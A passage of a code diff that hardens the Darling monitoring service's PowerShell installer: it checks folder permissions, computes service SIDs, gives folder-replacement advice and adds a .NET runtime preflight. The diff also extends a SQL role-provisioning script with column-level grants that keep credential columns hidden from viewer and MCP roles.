+# already locked - a repair, or this script used as its own upgrade path - is not a fresh extraction: the lock
+# already granted that account Modify on its folders. The service extracted pg-runtime and owns it by design, and
+# that owner stays whoever ran the service WHEN it extracted - which is not the current logon account once the
+# service has been deleted, renamed or pointed at another account since. Only OUR service name is derived: no
+# other NT SERVICE\* SID, and not the NT SERVICE authority as a whole, so a tree owned by a different service's
+# SID is still a finding. The account is resolved through Resolve-DarlingServiceAccountSid; a name that will not
+# translate is left out rather than thrown on here - see Get-DarlingPreLockTrustedSidsForRerun for the caller
+# that refuses instead of silently dropping it (L4).
+function Get-DarlingServiceSids([string]$existingServiceAccount, [string]$serviceName) {
+    $sids = @()
+    if ($existingServiceAccount) {
+        $serviceSid = Resolve-DarlingServiceAccountSid $existingServiceAccount
+        if ($serviceSid) { $sids += $serviceSid }
+    }
+    if ($serviceName) {
+        # Computed, not looked up: Windows answers 'NT SERVICE\<name>' only while a service of that name is
+        # registered, and the SID that owns pg-runtime outlives the registration. The SID is the one Windows
+        # derives from the name (what sc.exe showsid prints): SHA-1 of the upper-cased name in UTF-16LE, its first
+        # 20 bytes read as five little-endian integers under S-1-5-80. Windows folds case with its own table and
+        # .NET with the invariant culture; they agree for plain ASCII, so a name outside it is not computed.
+        try {
+            if ($serviceName -notmatch '^[\x20-\x7E]+$') { throw 'the service name is not plain ASCII' }
+            $nameHash = [System.Security.Cryptography.SHA1]::Create().ComputeHash([System.Text.Encoding]::Unicode.GetBytes($serviceName.ToUpperInvariant()))
+            $nameParts = 0..4 | ForEach-Object { [BitConverter]::ToUInt32($nameHash, $_ * 4) }
+            $sids += New-Object System.Security.Principal.SecurityIdentifier("S-1-5-80-$($nameParts -join '-')")
+        }
+        catch {
+            Write-Host "WARNING: could not work out the Windows SID of NT SERVICE\$serviceName ($($_.Exception.Message)), so files that account owns will be listed." -ForegroundColor Yellow
+        }
+    }
+    return $sids
+}
+
+# The pre-lock trusted sets for a RE-RUN over a possibly-already-registered service, failing closed with a
 # clear message instead of silently mis-trusting or mis-refusing (round-1 review, #4043, L3/L4). Two
 # distinct ways the existing service's account can defeat the pre-lock check if let through quietly:
 # Windows cannot say what it is AT ALL (L3 - Get-DarlingServiceLogonName returns nothing; this is 1b2's own
@@ -277,11 +365,14 @@ function Get-DarlingPreLockTrustedSids([string]$existingServiceAccount) {
 # operator to re-extract a perfectly good install, or worse, trains them to reach for
 # -AcceptWritableExtraction on sight.
 #
+# Returns Trusted (the base set, for Get-UntrustedWriteGrantees) and ServiceSids (for its -ServiceSids).
 # $existingService is the Get-Service result (or $null) the caller already has, not re-queried here, so a
 # caller that already asked does not ask Windows the same question again on every call. Kept byte-identical
 # in install-darling.ps1 and upgrade-darling.ps1.
 function Get-DarlingPreLockTrustedSidsForRerun([string]$serviceName, $existingService) {
-    if (-not $existingService) { return Get-DarlingPreLockTrustedSids $null }
+    if (-not $existingService) {
+        return [pscustomobject]@{ Trusted = @(Get-DarlingPreLockTrustedSids); ServiceSids = @(Get-DarlingServiceSids $null $serviceName) }
+    }
 
     $existingAccount = Get-DarlingServiceLogonName $serviceName
     if (-not $existingAccount) {
@@ -290,7 +381,171 @@ function Get-DarlingPreLockTrustedSidsForRerun([string]$serviceName, $existingSe
     if (-not (Resolve-DarlingServiceAccountSid $existingAccount)) {
         Fail "The existing '$serviceName' service logs on as '$existingAccount', which could not be resolved to a SID right now (its domain may be unreachable, or the account may no longer exist). The install folder cannot be safely checked or locked without knowing whether its own grant belongs to that account. Verify the account is reachable, then re-run this script."
     }
-    return Get-DarlingPreLockTrustedSids $existingAccount
+    return [pscustomobject]@{ Trusted = @(Get-DarlingPreLockTrustedSids); ServiceSids = @(Get-DarlingServiceSids $existingAccount $serviceName) }
+}
+
+# The absolute paths darling.json names that sit inside $folder (#5627): the store (postgres.dataDirectory), a
+# certificate or key (a tls pfxPath, certPath or keyPath) and any 'file:' reference. Returns Lines, each one
+# '"path" (what names it)', and Incomplete, true when a value was left out or the list was cut. A regex over the
+# comment-stripped text, as Get-DarlingExtraServiceWriteDirectories does, because Windows PowerShell 5.1's
+# ConvertFrom-Json rejects comments and trailing commas. Each value is read on its own, so one that cannot be read as a path
+# is left out and the rest still print: a value holding a control character, a line break or any of < > | " is
+# left out, so is one over 260 characters, and at most 10 are listed. A darling.json that cannot be read counts
+# as Incomplete; a missing one names nothing. Kept byte-identical in install-darling.ps1 and
+# upgrade-darling.ps1.
+function Get-DarlingConfiguredPathsUnder([string]$folder) {
+    $config = Join-Path $folder 'darling.json'
+    if (-not (Test-Path -LiteralPath $config -PathType Leaf)) { return [pscustomobject]@{ Lines = @(); Incomplete = $false } }
+    try { $text = Get-Content -LiteralPath $config -Raw -ErrorAction Stop }
+    catch { return [pscustomobject]@{ Lines = @(); Incomplete = $true } }
+    $stripped = ($text -split "`r?`n" | ForEach-Object { $_ -replace '(?<!:)//.*$', '' }) -join "`n"
+    $named = @()
+    foreach ($match in [regex]::Matches($stripped, '"(dataDirectory|pfxPath|certPath|keyPath)"\s*:\s*"((?:[^"\\]|\\.)*)"', 'IgnoreCase')) {
+        $what = if ($match.Groups[1].Value -ieq 'dataDirectory') { 'postgres.dataDirectory' } else { $match.Groups[1].Value }
+        $named += , @($what, $match.Groups[2].Value)
+    }
+    foreach ($match in [regex]::Matches($stripped, '"file:\s*((?:[^"\\]|\\.)*)"')) {
+        $named += , @('a file: reference', $match.Groups[1].Value)
+    }
+    $found = @()
+    $incomplete = $false
+    foreach ($pair in $named) {
+        try {
+            $value = ($pair[1] -replace '\\\\', '\').Trim()
+            if ($value.Length -gt 260 -or $value -match '[\p{C}\p{Zl}\p{Zp}<>|"]') { $incomplete = $true; continue }
+            if ($value -and [IO.Path]::IsPathRooted($value) -and (Test-PathIsAtOrUnder $value $folder)) {
+                $found += "`"$value`" ($($pair[0]))"
+            }
+        }
+        catch { $incomplete = $true }
+    }
+    $found = @($found | Select-Object -Unique)
+    if ($found.Count -gt 10) { $found = @($found | Select-Object -First 10); $incomplete = $true }
+    return [pscustomobject]@{ Lines = $found; Incomplete = $incomplete }
+}
+
+# Where the new zip goes (#5627). Under C:\Program Files already, the folder to use is a different one.
+function Get-DarlingNewFolderPhrase([string]$oldFolder) {
+    if (Test-PathIsAtOrUnder $oldFolder $env:ProgramFiles) { return 'a new, empty folder with a different name under C:\Program Files.' }
+    return 'a new, empty folder named C:\Program Files\PerformanceMonitorDarling. If that name is taken, use another new name under C:\Program Files.'
+}
+
+# The numbered steps for replacing the folder of an EXISTING install whose pre-lock check refused (#5627), for a
+# service that runs from that folder: the service, its darling.json and its store are kept and only the program folder
+# is replaced. Everything the steps rely on was read from install-darling.ps1: the service is re-pointed in place (only
+# its binary path changes, its logon account and credentials are left alone), darling.json is the one file the zip does
+# not ship that an install needs (without it the sample config is copied in), pg-runtime comes back from the new
+# zip's pg-runtime.zip, and the store lives under %ProgramData%\PerformanceMonitorDarling unless darling.json sets
+# postgres.dataDirectory. Anything darling.json names inside the old folder is listed in the last step, so the
+# folder is deleted only after it has been moved; when a value could not be listed, the step says to check darling.json
+# for paths inside the folder. Kept byte-identical in install-darling.ps1 and upgrade-darling.ps1.
+function Get-DarlingExistingInstallSteps([string]$oldFolder, [string]$serviceName) {
+    $newFolder = Get-DarlingNewFolderPhrase $oldFolder
+    $configured = Get-DarlingConfiguredPathsUnder $oldFolder
+    $inside = @($configured.Lines)
+    $last = if ($inside.Count -gt 0) {
+        $list = ($inside | ForEach-Object { "       $_." }) -join "`n"
+        $unlisted = if ($configured.Incomplete) { "`n     Not every value in darling.json was listed here. Check it for other paths inside $oldFolder." } else { '' }
+        "  6. Do not delete $oldFolder yet. darling.json names these paths inside it:`n$list$unlisted`n     Move each one to a folder outside it, and update darling.json to the new place.`n     Then, once the service is collecting, delete $oldFolder."
+    }
+    elseif ($configured.Incomplete) {
+        "  6. Do not delete $oldFolder yet. Not every value in darling.json was listed here. Check it for paths`n     inside $oldFolder. Move each one to a folder outside it, and update darling.json to the new place.`n     Then, once the service is collecting, delete $oldFolder."
+    }
+    else {
+        "  6. Delete $oldFolder once the service is collecting."
+    }
+    return @"
+This folder already holds an install, so the installed folder itself needs replacing. Your service, your
+darling.json and your store are kept. To move to a new folder:
+
+  1. Stop the '$serviceName' service and leave it stopped until step 5.
+  2. In an elevated session, extract the new zip into
+     $newFolder
+  3. Open darling.json in $oldFolder
+     and check that every setting in it is yours. Then copy it into the new folder before anything else,
+     and go straight on to step 4. Without it, install-darling.ps1 copies the SAMPLE config in.
+     If darling.json names a certificate or key file in this folder, make a new one. Keep it outside the
+     install folder, and point darling.json at it. These are the tls pfxPath, certPath and keyPath settings.
+     Do not copy a darling-keys folder: the service makes its own.
+     A darling.json.bak-* backup is optional.
+  4. In an elevated session, run install-darling.ps1 from the new folder. It points the existing service
+     at the new folder. It changes only the service's program path. Its logon account, its credentials and
+     its store are not touched. The store is in C:\ProgramData\PerformanceMonitorDarling. If darling.json
+     sets postgres.dataDirectory, it is there instead.
+  5. Start the service and check that it collects.
+$last
+
+Do NOT try to repair this folder's permissions in place.
+"@
+}
+
+# The refusal's advice when the service is NOT registered, or runs from some other folder, so this folder is not
+# an install to keep (#5627): a fresh folder. Kept byte-identical in install-darling.ps1 and upgrade-darling.ps1.
+function Get-DarlingFreshFolderAdvice([string]$folder) {
+    $where = if (Test-PathIsAtOrUnder $folder $env:ProgramFiles) { 'a new, empty folder with a different name under C:\Program Files' } else { 'a new folder under C:\Program Files, or another folder only an administrator can write to' }
+    return @"
+Do NOT try to repair this folder's permissions in place. Extract the zip into $where.
+Then run install-darling.ps1 from there.
+"@
+}
+
+# The refusal's advice (#5627): the numbered steps when the registered service runs from $folder itself, that is,
+# when its ImagePath folder ($registeredFolder, from Get-DarlingInstallRootFromService) is $folder, so this folder IS
+# the install being replaced; a fresh folder otherwise, including when no service is registered or its path cannot be
+# read. Kept byte-identical in install-darling.ps1 and upgrade-darling.ps1.
+function Get-DarlingRefusalAdvice([string]$folder, [string]$serviceName, [string]$registeredFolder) {
+    if ($registeredFolder -and (Test-DarlingSamePath $registeredFolder $folder)) { return Get-DarlingExistingInstallSteps $folder $serviceName }
+    return Get-DarlingFreshFolderAdvice $folder
+}
+
+# True when two paths name the same directory: separators trimmed, full paths compared without regard to case.
+# Kept byte-identical in install-darling.ps1 and upgrade-darling.ps1.
+function Test-DarlingSamePath([string]$left, [string]$right) {
+    if ([string]::IsNullOrWhiteSpace($left) -or [string]::IsNullOrWhiteSpace($right)) { return $false }
+
+    $sep = [IO.Path]::DirectorySeparatorChar
+    $alt = [IO.Path]::AltDirectorySeparatorChar
+
+    try {
+        $l = [IO.Path]::GetFullPath($left).TrimEnd($sep, $alt)
+        $r = [IO.Path]::GetFullPath($right).TrimEnd($sep, $alt)
+    }
+    catch {
+        return $false
+    }
+
+    return $l.Equals($r, [StringComparison]::OrdinalIgnoreCase)
+}
+
+# Where the service is ACTUALLY installed, read from the registered ImagePath. Returns $null when the service is not
+# installed or its path cannot be parsed. The ImagePath is quoted when it contains spaces, so both spellings are
+# handled. Kept byte-identical in install-darling.ps1 and upgrade-darling.ps1.
+function Get-DarlingInstallRootFromService([string]$name) {
+    try {
+        $service = Get-CimInstance -ClassName Win32_Service -Filter "Name='$name'" -ErrorAction Stop
+    }
+    catch {
+        return $null
+    }
+
+    if (-not $service) { return $null }
+
+    $imagePath = $service.PathName
+    if ([string]::IsNullOrWhiteSpace($imagePath)) { return $null }
+
+    $imagePath = $imagePath.Trim()
+    if ($imagePath.StartsWith('"')) {
+        $close = $imagePath.IndexOf('"', 1)
+        if ($close -gt 1) { $imagePath = $imagePath.Substring(1, $close - 1) }
+    }
+    else {
+        # An unquoted path with arguments after it: everything up to the .exe is the executable.
+        $exe = $imagePath.IndexOf('.exe', [StringComparison]::OrdinalIgnoreCase)
+        if ($exe -ge 0) { $imagePath = $imagePath.Substring(0, $exe + 4) }
+    }
+
+    try { return [IO.Path]::GetDirectoryName([IO.Path]::GetFullPath($imagePath)) }
+    catch { return $null }
 }
 
 # True when $candidate IS $parent or sits underneath it.
@@ -572,7 +827,7 @@ function Get-DarlingExtraServiceWriteDirectories([string]$root, [string]$configP
     # folder outside the tree the lock covers, so it needs no grant from here.
     $configDir = [System.IO.Path]::GetDirectoryName($configPath).TrimEnd('\')   # Split-Path -LiteralPath -Parent is ambiguous on PowerShell 5.1
     if ($configDir -ine $root.TrimEnd('\')) { return @() }
-    return @('darling-keys')
+    return @((Get-DarlingServiceWrittenNames).KeyDirectories)
 }
 
 function Lock-DarlingInstallTree([string]$root, [string]$serviceAccount, [string[]]$extraServiceDirectories = @()) {
@@ -626,7 +881,7 @@ function Lock-DarlingInstallTree([string]$root, [string]$serviceAccount, [string
     # Each is created ahead of time if missing - best-effort, since a directory this lock cannot create is a
     # directory the first extraction would have had to create itself, root-owned, which is no better - and
     # then granted Modify with its own icacls call, so a failure on one directory does not lose the others.
-    $serviceWriteDirectories = @('pg-runtime', 'pg-runtime-prev') + @($extraServiceDirectories | Where-Object { $_ })
+    $serviceWriteDirectories = @((Get-DarlingServiceWrittenNames).Directories) + @($extraServiceDirectories | Where-Object { $_ })
 
     # icacls, not Set-Acl: Set-Acl on what Get-Acl read writes the SACL too, which needs SeSecurityPrivilege, and
     # icacls is what the warnings tell an operator to run by hand, so the fix and the remediation are the same
@@ -645,7 +900,7 @@ function Lock-DarlingInstallTree([string]$root, [string]$serviceAccount, [string
     if ($LASTEXITCODE -ne 0) { $open += "$root (could not make Administrators the owner of everything below it; run elevated: $($output | Select-Object -First 1))" }
     $serviceWritePaths = @()
     if ($serviceSid) {
-        foreach ($secret in @(Get-ChildItem -LiteralPath $root -Force -File -ErrorAction SilentlyContinue | Where-Object { $_.Name -eq 'darling.json' -or $_.Name -like 'darling.json.bak-*' })) {
+        foreach ($secret in @(Get-ChildItem -LiteralPath $root -Force -File -ErrorAction SilentlyContinue | Where-Object { Test-DarlingServiceWrittenFileName $_.Name })) {
             $null = & icacls.exe $secret.FullName /setowner "*$($serviceSid.Value)" /L /Q 2>&1
         }
         foreach ($dir in $serviceWriteDirectories) {
@@ -692,14 +947,14 @@ function Lock-DarlingInstallTree([string]$root, [string]$serviceAccount, [string
         # darling.json and its backups: step 4b gives the service an explicit FullControl there (#1647) and the setowner
         # above makes it the owner, so the service is trusted on those files too. Without this the walk strips the
         # service's own grant from its config (the explicit-ACE branch below) and the service cannot start.
-        $isSecretFile = $target.Name -eq 'darling.json' -or $target.Name -like 'darling.json.bak-*'
+        $isSecretFile = (-not $target.PSIsContainer) -and ([IO.Path]::GetDirectoryName($path).TrimEnd('\') -ieq $root.TrimEnd('\')) -and (Test-DarlingServiceWrittenFileName $target.Name)
         if ($serviceSid -and ($path.TrimEnd('\') -ieq $root.TrimEnd('\') -or $isServiceWritePath -or $isSecretFile)) { $trustedHere += $serviceSid }
         try { $acl = Get-Acl -LiteralPath $path -ErrorAction Stop }
         catch { $open += "$path (its permissions could not be read)"; continue }
         $explicit = @($acl.GetAccessRules($true, $false, $sidType) | Where-Object {
             $_.AccessControlType -eq $allow -and (([int64]$_.FileSystemRights) -band $write) -ne 0 -and $trustedHere -notcontains $_.IdentityReference })
         if ($explicit.Count -gt 0) {
-            if ($target.Name -eq 'darling.json' -or $target.Name -like 'darling.json.bak-*') {
+            if ($isSecretFile) {
                 foreach ($rule in $explicit) { $null = & icacls.exe $path /remove:g "*$($rule.IdentityReference.Value)" /L /Q 2>&1 }
             }
             else {
@@ -752,7 +1007,7 @@ function Invoke-InstallTreeLock([string]$account, [switch]$StopOnOpen) {
     Write-Host '  binary can run code as that account. Fix it from an elevated prompt, then re-run this script:' -ForegroundColor Red
     Write-Host "    icacls `"$root`" /inheritance:d" -ForegroundColor Yellow
     Write-Host "    icacls `"$root`" /remove:g *S-1-5-11 *S-1-5-32-545 *S-1-1-0 *S-1-5-4" -ForegroundColor Yellow
-    Write-Host "    icacls `"$root`" /grant `"*S-1-5-32-545:(OI)(CI)RX`" /grant `"$grantTo`:(OI)(CI)M`"" -ForegroundColor Yellow
+    Write-Host "    icacls `"$root`" /grant `"*S-1-5-32-545:(OI)(CI)RX`" /grant:r `"$grantTo`:(OI)(CI)RX`"" -ForegroundColor Yellow
     Write-Host "    icacls `"$root`" /setowner *S-1-5-32-544 /T /C /L" -ForegroundColor Yellow
     Write-Host '  A path listed as owned by an account, or BELOW the folder, needs its own fix: icacls "<path>" /setowner' -ForegroundColor Red
     Write-Host '  *S-1-5-32-544 /L, then icacls "<path>" /reset /T /C. Remove any junction or link it names.' -ForegroundColor Red
@@ -803,24 +1058,27 @@ if (-not $AcceptWritableExtraction) {
     # and refuses outright, with 1b2's own message, when that account cannot be read or resolved at all
     # (round-1 review, L3/L4), rather than silently mis-judging the walk below.
     $preLockTrusted = Get-DarlingPreLockTrustedSidsForRerun $serviceName $existing
-    $writable = @(Get-UntrustedWriteGrantees $root $preLockTrusted -Recurse)
+    $writable = @(Get-UntrustedWriteGrantees $root $preLockTrusted.Trusted -Recurse -ServiceSids $preLockTrusted.ServiceSids -ServiceDirectories @(Get-DarlingExtraServiceWriteDirectories $root $configPath))
     if ($writable.Count -gt 0) {
         $lines = ($writable | Select-Object -First 20 | ForEach-Object { "  $_" }) -join "`n"
         $more = if ($writable.Count -gt 20) { "`n  ...and $($writable.Count - 20) more." } else { '' }
+        # The service running from THIS folder means it is an existing install (#5627): its folder is what needs
+        # replacing, so the refusal spells out how. A service registered elsewhere, or none, leaves nothing here to
+        # keep, and the advice is a fresh folder.
+        $advice = Get-DarlingRefusalAdvice $root $serviceName (Get-DarlingInstallRootFromService $serviceName)
         Fail @"
-Ordinary users can already write to this install folder, before this script has locked anything down:
+Ordinary users can already write to this install folder, before this script locks anything down:
 
 $lines$more
 
-Files here may already have been replaced with something other than what the zip shipped - the lock this
-script applies next (1b2) only stops FURTHER writes, it does not check what is already on disk. This is
-the usual shape of a folder made directly under C:\, which inherits Authenticated Users: Modify from the
-volume root.
+Files here can differ from what the zip shipped. The lock this script applies next (1b2) only stops further
+writes. It does not check what is already on disk. A folder made directly under C:\ gets this access from
+the volume root, which gives Authenticated Users Modify.
+
+$advice
 
-Do NOT try to repair this folder's permissions in place: fixing the ACL cannot undo a file that was already
-replaced, and cannot prove none was. Extract the zip fresh under C:\Program Files\<something>, or another
-folder only an administrator can write to, and run this script from there instead. If this folder is
-deliberately writable (a dev loop) and you accept the risk, re-run with -AcceptWritableExtraction.
+If this folder is deliberately writable (a dev loop) and you accept the risk, re-run with
+-AcceptWritableExtraction.
 
 Nothing was installed or changed.
 "@
@@ -973,6 +1231,9 @@ Invoke-InstallTreeLock $lockAccount -StopOnOpen
 #   PerformanceMonitor.Darling.Service.exe -> Microsoft.NETCore.App + Microsoft.AspNetCore.App
 #   viewer\PerformanceMonitor.Darling.Viewer.exe -> Microsoft.NETCore.App + Microsoft.WindowsDesktop.App
 #
+# Microsoft.NETCore.App is required by both and is NOT part of the standalone ASP.NET Core Runtime
+# installer (the Hosting Bundle and the .NET Runtime installer carry it), so it is checked on its own (#5407).
+#
 # ASP.NET Core is required UNCONDITIONALLY, which is the part nobody expects: the MCP tools reference
 # ModelContextProtocol.AspNetCore, which brings the Microsoft.AspNetCore.App framework reference in
 # transitively, so the framework is named in the runtimeconfig whether or not mcp.enabled and
@@ -988,15 +1249,44 @@ Invoke-InstallTreeLock $lockAccount -StopOnOpen
 # question asked before anything is created, answered from the operator's machine, and worth bypassing
 # only when the operator knows something this script cannot see.
 if (-not $SkipPreflight) {
+    $netCoreVersions = @(Get-InstalledFrameworkVersions 'Microsoft.NETCore.App')
     $aspNetVersions = @(Get-InstalledFrameworkVersions 'Microsoft.AspNetCore.App')
     $desktopVersions = @(Get-InstalledFrameworkVersions 'Microsoft.WindowsDesktop.App')
 
+    # The base runtime is checked FIRST, and on its own it is a refusal for a reason that is easy to
+    # miss: the standalone ASP.NET Core Runtime installer does NOT include Microsoft.NETCore.App, so a box
+    # with only that installer passes the ASP.NET Core check below and then dies at service start with the
+    # host's own "You must install .NET" (#5407). Both shipped exes name Microsoft.NETCore.App. The message
+    # shows what was found for BOTH frameworks, so an operator missing both reads one message and fixes
+    # both in one pass (the Hosting Bundle installs both).
+    if (-not (Test-FrameworkMajorPresent $netCoreVersions $dotnetMajor)) {
+        Fail @"
+The .NET Runtime $dotnetMajor.0 is not installed, and the service cannot start without it.
+
+  Need:  The ASP.NET Core Hosting Bundle $dotnetMajor.0 (x64), which installs both runtimes below,
+         OR the .NET Runtime $dotnetMajor.0 (x64) together with the ASP.NET Core Runtime $dotnetMajor.0 (x64).
+  Found: .NET Runtime (Microsoft.NETCore.App):      $(Format-FrameworkVersionList $netCoreVersions)
+         ASP.NET Core (Microsoft.AspNetCore.App):   $(Format-FrameworkVersionList $aspNetVersions)
+  Get:   $dotnetDownloadUrl
+
+The standalone ASP.NET Core Runtime installer does NOT include the base .NET Runtime, so having only that
+one is not enough. The service also needs the ASP.NET Core Runtime whether or not you ever enable MCP or
+the web dashboard.
+
+Install it and run this script again. Nothing was installed or changed.
+
+If this machine DOES have it in a layout this check cannot see, re-run with -SkipPreflight, which skips
+this gate and the --test-connection probe together.
+"@
+    }
+
     if (-not (Test-FrameworkMajorPresent $aspNetVersions $dotnetMajor)) {
         Fail @"
 The ASP.NET Core Runtime $dotnetMajor.0 is not installed, and the service cannot start without it.
 
   Need:  ASP.NET Core Runtime $dotnetMajor.0 (x64). The Hosting Bundle contains it and also works.
-  Found: $(Format-FrameworkVersionList $aspNetVersions)
+  Found: .NET Runtime (Microsoft.NETCore.App):      $(Format-FrameworkVersionList $netCoreVersions)
+         ASP.NET Core (Microsoft.AspNetCore.App):   $(Format-FrameworkVersionList $aspNetVersions)
   Get:   $dotnetDownloadUrl
 
 This is required whether or not you ever enable MCP or the web dashboard - the MCP package brings the
@@ -1029,7 +1319,7 @@ this gate and the --test-connection probe together.
         Write-Host ''
     }
     else {
-        Write-Host "Runtime check passed (ASP.NET Core $dotnetMajor and .NET Desktop $dotnetMajor present)." -ForegroundColor Green
+        Write-Host "Runtime check passed (.NET Runtime $dotnetMajor, ASP.NET Core $dotnetMajor and .NET Desktop $dotnetMajor present)." -ForegroundColor Green
     }
 }
 
diff --git a/Darling/tools/provision-roles.sql b/Darling/tools/provision-roles.sql
index 0794997e4d..e73fa51bc7 100644
--- a/Darling/tools/provision-roles.sql
+++ b/Darling/tools/provision-roles.sql
@@ -18,8 +18,11 @@
 --              config.custom_alert_rules (the user-authored alert rules, #3285), on
 --              config.database_state_expected (the per-database override editor, #1986), and on
 --              config.config_mute_rules (the web dashboard's dedicated mute-rule endpoints, #3450 -- plus the
---              two config_service beacon columns their bump trigger writes as the caller). All non-secret
---              tables; over the web every write is gated server-side by the host's auth + seat model -- these
+--              two config_service beacon columns their bump trigger writes as the caller), and the single
+--              dismissed column of config.config_alert_log (the web Alert History dismiss, #4843), and INSERT
+--              on config.config_monitored_servers and no UPDATE on it: the web add-server route (#4843) inserts, and
+--              the web edit-server route (#5240) edits through config.edit_monitored_server, a function it may
+--              execute (its credential column stays SELECT-carved). Every table is non-secret-keyed; over the web every write is gated server-side by the host's auth + seat model -- these
 --              grants are only the floor beneath that gate. All other write actions degrade gracefully. The
 --              web dashboard's identity, and a locked-down Viewer's (postgres.connectAs = "viewer").
 --   mcp     -- the MCP server's identity: viewer's reads (the same secret-column carve), plus the MCP tools'
@@ -51,7 +54,7 @@
 -- re-running blindly are the single-table grants in steps 3b-3f: each names a table (or, for the
 -- beacon columns, a trigger dependency) a specific migration creates -- custom_views is V31,
 -- database_state_expected is V49, custom_alert_rules is V116, the mute-rule reload-beacon trigger is
--- V117 and config_notification_routes is V131 -- so re-run this script after upgrading past each.
+-- V117, config_notification_routes is V131 and config_collector_run_times is V160 and the password key tables (step 3g) are V165 -- so re-run this script after upgrading past each.
 --
 -- BEFORE RUNNING:
 --   1. Replace CHANGE_ME_ADMIN_PASSWORD, CHANGE_ME_VIEWER_PASSWORD and CHANGE_ME_MCP_PASSWORD with strong
@@ -220,7 +223,10 @@ GRANT SELECT (server_id, name, host, database, auth, username, encrypt_mode, tru
               plan_force_bot_enabled,
               -- V113 (#2138 phase 1): the remediation credential's login name. Non-secret, exactly like
               -- username; remediation_encrypted_password is deliberately NOT granted.
-              remediation_username)
+              remediation_username,
+              -- V169 (#5452): the AWS role a target uses, and whether an external ID is stored with it.
+              -- Non-secret; the external ID itself (aws_external_id) is deliberately NOT granted.
+              aws_role_arn, aws_external_id_set)
     ON config.config_monitored_servers TO viewer;
 REVOKE SELECT ON config.config_command FROM viewer;
 GRANT SELECT (command_id, created_at, requested_by, command_type, target_server_id, status, claimed_at,
@@ -229,7 +235,10 @@ GRANT SELECT (command_id, created_at, requested_by, command_type, target_server_
 REVOKE SELECT ON config.config_notification FROM viewer;
 GRANT SELECT (id, smtp_host, smtp_port, smtp_use_ssl, smtp_from_address, smtp_recipients,
               email_cooldown_minutes, teams_proxy, slack_proxy, modified_at,
-              generic_body_template, generic_proxy, pagerduty_use_eu_region, pagerduty_proxy)
+              generic_body_template, generic_proxy, pagerduty_use_eu_region, pagerduty_proxy,
+              -- V166: pagerduty_auto_resolve. Non-secret (a behaviour toggle, like the EU-region flag
+              -- beside it), so it stays granted.
+              pagerduty_auto_resolve)
     ON config.config_notification TO viewer;
 -- V131 (#3598): the sparse notification-routes table mirrors the parent row's destination columns under the
 -- same names, so the same carve applies: the webhook URLs and the PagerDuty routing key are bearer secrets and
@@ -248,7 +257,8 @@ GRANT SELECT (server_id, name, host, database, auth, username, encrypt_mode, tru
               is_enabled, created_at, modified_at, alert_delivery_mode_override,
               engine, port,
               plan_force_bot_enabled,
-              remediation_username)
+              remediation_username,
+              aws_role_arn, aws_external_id_set)
     ON config.config_monitored_servers TO mcp;
 REVOKE SELECT ON config.config_command FROM mcp;
 GRANT SELECT (command_id, created_at, requested_by, command_type, target_server_id, status, claimed_at,
@@ -257,11 +267,18 @@ GRANT SELECT (command_id, created_at, requested_by, command_type, target_server_
 REVOKE SELECT ON config.config_notification FROM mcp;
 GRANT SELECT (id, smtp_host, smtp_port, smtp_use_ssl, smtp_from_address, smtp_recipients,
               email_cooldown_minutes, teams_proxy, slack_proxy, modified_at,
-              generic_body_template, generic_proxy, pagerduty_use_eu_region, pagerduty_proxy)
+              generic_body_template, generic_proxy, pagerduty_use_eu_region, pagerduty_proxy,
+              -- V166: pagerduty_auto_resolve. Non-secret (a behaviour toggle, like the EU-region flag
+              -- beside it), so it stays granted.
+              pagerduty_auto_resolve)
     ON config.config_notification TO mcp;
 REVOKE SELECT ON config.config_notification_routes FROM mcp;
 GRANT SELECT (route_id, metric_match, smtp_recipients, configured_channels, enabled, modified_at)
     ON config.config_notification_routes TO mcp;
+-- The collector run times (V160, #4938): get_collection_health reads them as mcp. The blanket config SELECT above
+-- already covers the table when it exists at that point; naming it makes the grant explicit and idempotent, mirroring
+-- how the schedule tables are read, so a store that reaches V160 after an earlier provisioning is covered by the re-run.
+GRANT SELECT ON config.config_collector_run_times TO mcp;
 
 -- 3. config writes -- admin gets the whole schema.
 GRANT INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA config TO admin;
@@ -299,6 +316,380 @@ GRANT INSERT, UPDATE, DELETE ON config.config_mute_rules TO viewer;
 GRANT UPDATE (config_version, updated_at) ON config.config_service TO viewer;
 GRANT INSERT, UPDATE, DELETE ON config.config_mute_rules TO mcp;
 GRANT UPDATE (config_version, updated_at) ON config.config_service TO mcp;
+-- #5085: the fleet server-tag write tools run as mcp; these two single-table grants are the admin gate. Both
+--     tables are non-secret with no beacon trigger, and server_tags.id is an identity column (no sequence grant).
+GRANT INSERT, UPDATE, DELETE ON config.server_tags TO mcp;
+GRANT INSERT, UPDATE, DELETE ON config.server_tag_map TO mcp;
+
+-- 3d-2. Alert History dismiss (#4843): the web dashboard's POST /api/alert-history/dismiss runs as viewer and
+--     writes `UPDATE config_alert_log SET dismissed = TRUE`. Column-level on exactly that one column, so viewer
+--     can flip the dismissed flag and cannot rewrite what an alert said or reach INSERT/DELETE. config_alert_log
+--     carries no trigger. The WPF read-only probe (has_table_privilege ... 'UPDATE') answers for the table-level
+--     privilege only, so it stays false for viewer. mcp gets none: no MCP tool dismisses an alert.
+GRANT UPDATE (dismissed) ON config.config_alert_log TO viewer;
+
+-- #5085: the web dashboard's /api/server-tags endpoints run as viewer, so viewer gets the same two single-table
+--     writes (the seat model decides who may call them; these grants are only the floor). The WPF Viewer's read-only
+--     probe still discriminates on config_alert_log UPDATE, so a connectAs = "viewer" Viewer stays read-only.
+GRANT INSERT, UPDATE, DELETE ON config.server_tags TO viewer;
+GRANT INSERT, UPDATE, DELETE ON config.server_tag_map TO viewer;
+
+-- #4843: the web dashboard's add-server route runs the add_servers core as viewer, so viewer gets INSERT on
+--     config_monitored_servers (never DELETE: no web route removes a server). The
+--     credential column stays SELECT-carved from viewer, so it can write a password blob and never read one back;
+--     the write's bump trigger is served by the two config_service beacon columns granted above.
+GRANT INSERT ON config.config_monitored_servers TO viewer;
+
+-- #5240: the web dashboard's edit route (PATCH /api/servers/{id}) and the MCP edit_server tool change a monitored
+--     server through config.edit_monitored_server, created right below. Viewer holds NO UPDATE on the table: the
+--     function checks the optimistic token, works out for itself whether host or port moves, and refuses a move that
+--     keeps the stored secret on a SQL or service-principal row. RE-RUN THIS SCRIPT AFTER UPGRADING to the release that
+--     adds the edit route (the precedent is the V117 note above): a store whose roles predate the function answers
+--     every web edit with an error that says to re-run it. The function is owned by whoever runs the script, so run it
+--     as the store owner, the role that owns config.config_monitored_servers.
+--     REVOKE first, like the SELECT carve above: it takes away any UPDATE an earlier release granted viewer here, and
